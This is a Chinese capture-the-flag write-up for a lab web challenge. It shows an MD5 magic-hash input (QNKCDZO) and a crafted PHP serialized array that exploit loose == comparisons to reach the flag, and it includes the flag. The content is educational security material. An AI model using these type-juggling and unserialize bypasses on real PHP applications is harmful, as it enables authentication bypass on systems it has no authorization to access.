实验吧-天网管理系统

天网管理系统

原题链接

http://ctf5.shiyanbar.com/10/web1/

分析

查看源码

<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->

easy

username=QNKCDZO
页面结果
/user.php?fame=hjkleffifer

进入链接

$unserialize_str = $_POST['password'];
     $data_unserialize = unserialize($unserialize_str);
     if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
     {
       print_r($flag);
     }
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年

反序列化,php的提示是说bool。
'???'是一个字符串,注意到这里用的是==,也就是说很可能可以利用php弱类型。

<?php
var_dump(true=='olivia');
//bool(true)

所以这里payload 很简单。

<?php
$test = array("user"=>true,"pass"=>true);
$stest = serialize($test);
echo $stest."\n";
?>
//a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

但是注意,要回到index.php提交password。

flag

ctf{dwduwkhduw5465}

知识点

php序列化与反序列化
php弱类型

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,865评论 19 139
  • 题目地址:http://ctf5.shiyanbar.com/10/web1/ 查看源代码可以看到提示 这里是一个...
    Aluvion阅读 3,287评论 0 0
  • 2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...
    Sec小玖阅读 22,532评论 1 11
  • 基础篇 alert(HackingLab) 这样也可以 这题也差不多 http://lab1.xseclab.co...
    查无此人asdasd阅读 4,525评论 0 1
  • *我是谁?我有哪些优点和缺陷?我能做什么?有哪些成功?哪些失败?我有哪些长处和不足?在我的眼里,在亲友眼里,在那些...
    胡姑娘阅读 3,177评论 0 2

友情链接更多精彩内容